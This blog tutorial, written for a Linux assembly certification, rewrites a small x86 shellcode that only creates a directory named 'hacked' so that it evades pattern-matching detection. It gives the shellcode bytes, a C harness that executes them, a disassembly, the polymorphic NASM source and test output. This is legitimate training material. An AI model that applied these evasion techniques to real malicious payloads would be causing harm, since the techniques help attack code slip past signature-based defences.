SLAE-473 ASSIGNMENT #6 Polymorphic Shellcode

INTRODUCTION

This tutorial is part of the SecurityTube Linux Assembly Expert certification.

The goal of this assignment is to take and x86/Linux shellcode sample from http://shell-storm.org/shellcode/ and create a polymorphic version of it to beat pattern matching. The polymorphic version cannot be larger than 150% of the existing shellcode.

For this blog post I will specifically focus on ‘Linux/x86 – mkdir() & exit() – 36 bytes by zillion’.

The tutorial will contain example source with comments. Listed source code may have formatting issues so best place to obtain copies is from the project’s Github repo. This assignment will build from the previous assignments and so will not be reiterating explanations already covered there.

Methodology

  1. Obtain a copy of the shellcode to verify its functionality
  2. Disassemble the shellcode
  3. Create a polymorphic version
  4. Test the new version

Background

Quote Wikipedia.

“In computer terminology, polymorphic code is code that uses a polymorphic engine to mutate while keeping the original algorithm intact. That is, the code changes itself each time it runs, but the function of the code (its semantics) will not change at all. For example, 1+3 and 6-2 both achieve the same result while using different code. This technique is sometimes used by computer viruses, shellcodes and computer worms to hide their presence.”

For this assignment we will not be using any polymorphic engines but will go through the a manual process.

Let’s obtain a copy of the shellcode bytes at http://shell-storm.org/shellcode/files/shellcode-542.php and paste into our c template

#include<stdio.h>
#include<string.h>

unsigned char code[] = 
"\xeb\x16\x5e\x31\xc0\x88\x46\x06\xb0\x27\x8d\x1e\x66\xb9\xed\x01\xcd\x80\xb0\x01\x31\xdb\xcd\x80\xe8\xe5\xff\xff\xff\x68\x61\x63\x6b\x65\x64\x23";

main()
{
 printf("Shellcode Length: %d\n", sizeof(code)-1);
 int (*ret)() = (int(*)())code;
 ret();
}

So the shellcode will make a directory called ‘hacked’

Let’s try it out.

First compile

$ gcc -o ./mkdir_shellcode_skeleton mkdir_shellcode_skeleton.c -fno-stack-protector -z execstack

and run. Normally you should disassemble and then run to ensure the shellcode doesn’t cause trouble. ;)

$ ls -la hacked
ls: cannot access hacked: No such file or directory
$ ./mkdir_shellcode_skeleton 
Shellcode Length: 36
$ ls -la
drwxr-xr-x 2 remote remote 4096 Jun 10 01:54 hacked

There we have a directory called hacked.

Disassemble the shellcode by extracting the shellcode bytes from the c template code and running through ndisasm

$ echo -ne "\xeb\x16\x5e\x31\xc0\x88\x46\x06\xb0\x27\x8d\x1e\x66\xb9\xed\x01\xcd\x80\xb0\x01\x31\xdb\xcd\x80\xe8\xe5\xff\xff\xff\x68\x61\x63\x6b\x65\x64\x23"| ndisasm -b 32 -a -
00000000 EB16 jmp short 0x18
00000002 5E pop esi
00000003 31C0 xor eax,eax
00000005 884606 mov [esi+0x6],al
00000008 B027 mov al,0x27
0000000A 8D1E lea ebx,[esi]
0000000C 66B9ED01 mov cx,0x1ed
00000010 CD80 int 0x80
00000012 B001 mov al,0x1
00000014 31DB xor ebx,ebx
00000016 CD80 int 0x80
00000018 E8E5FFFFFF call dword 0x2
0000001D 6861636B65 push dword 0x656b6361
00000022 64 fs
00000023 23 db 0x23

Polymorphic version

Let’s compare the original shellcode to our new polymorphic version

Original

global _start

section .text
_start:
 jmp short Label1
Label2:
 pop esi ; Store address of new dir name 'hacked'
 xor eax,eax
 mov [esi+0x6],al
 ;syscall mkdir() 0x27
 mov al,0x27
 lea ebx,[esi] ; Load address of new dir name 'hacked'
 mov cx,0x1ed ; new dir mode 0x1ed = 755 octal
 int 0x80
 ;syscall exit() 0x01
 mov al,0x1
 xor ebx,ebx
 int 0x80
Label1:
 call Label2
 hacked: db 0x68,0x61,0x63,0x6B,0x65,0x64

Polymorphic version

;; mkdir_poly_shellcode.nasm
; Author: Mutti K
; Purpose: Demonstrate polymorphic version of mkdir shellcode.

global _start

section .text
_start:
 jmp short Label1
Label2:
 pop esi ; Store address of new dir name 'hacked'
 xor edx,edx
 mov eax,0x1e
 mov ecx, 0x5
 div ecx ; equates to 30 / 5 = 6, EAX = 6
 mov [esi+eax],edx ; null terminate string 'hacked'
 ;syscall mkdir() 0x27
 mul eax ; eax already has 0x6 and we just 6*6 = 36d
 add eax, 0x2 ; +2
 inc eax ; + 1 and eax = 39d = 0x27
 lea ebx,[esi] ; Load address of new dir name 'hacked'
 mov cx,0x1ed ; new dir mode 0x1ed = 755 octal
 int 0x80
 ; mkdir returns eax=0x0 on success
 ;syscall exit() 0x01
 inc eax ; lets assume we had success and eax = 0 
 xor ebx,ebx
 int 0x80
Label1:
 call Label2
 hacked: db 0x68,0x61,0x63,0x6B,0x65,0x64

The comments should explain the changes.

Test

Let’s assemble and link

$ nasm -f elf32 -o mkdir_poly_shellcode.o mkdir_poly_shellcode.nasm
$ ld -o mkdir_poly_shellcode mkdir_poly_shellcode.o

Object dump bytes

$ for i in `objdump -d mkdir_poly_shellcode | tr '\t' ' ' | tr ' ' '\n' | egrep '^[0-9a-f]{2}$' ` ; do echo -n "\x$i" ; done
\xeb\x25\x5e\x31\xd2\xb8\x1e\x00\x00\x00\xb9\x05\x00\x00\x00\xf7\xf1\x89\x14\x06\xf7\xe0\x83\xc0\x02\x40\x8d\x1e\x66\xb9\xed\x01\xcd\x80\x40\x31\xdb\xcd\x80\xe8\xd6\xff\xff\xff\x68\x61\x63\x6b\x65\x64

Paste bytes into shellcode skeleton

#include<stdio.h>
#include<string.h>
/*
 mkdir called 'hacked' shellcode
*/

unsigned char code[] = 
"\xeb\x25\x5e\x31\xd2\xb8\x1e\x00\x00\x00\xb9\x05\x00\x00\x00\xf7\xf1\x89\x14\x06\xf7\xe0\x83\xc0\x02\x40\x8d\x1e\x66\xb9\xed\x01\xcd\x80\x40\x31\xdb\xcd\x80\xe8\xd6\xff\xff\xff\x68\x61\x63\x6b\x65\x64";

main()
{
 printf("Shellcode Length: %d\n", sizeof(code)-1);
 int (*ret)() = (int(*)())code;
 ret();
}

Compile

$ gcc -o ./mkdir_shellcode_skeleton mkdir_shellcode_skeleton.c -fno-stack-protector -z execstack

Delete existing hacked directory and run

$ rmdir hacked/
$ ./mkdir_poly_shellcode_skeleton 
Shellcode Length: 50
$ ls -la
drwxr-xr-x 2 remote remote 4096 Jun 10 04:24 hacked

It worked.

Shellcode size went from 36 to 50 bytes.

Thank you


This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student-ID: SLAE-473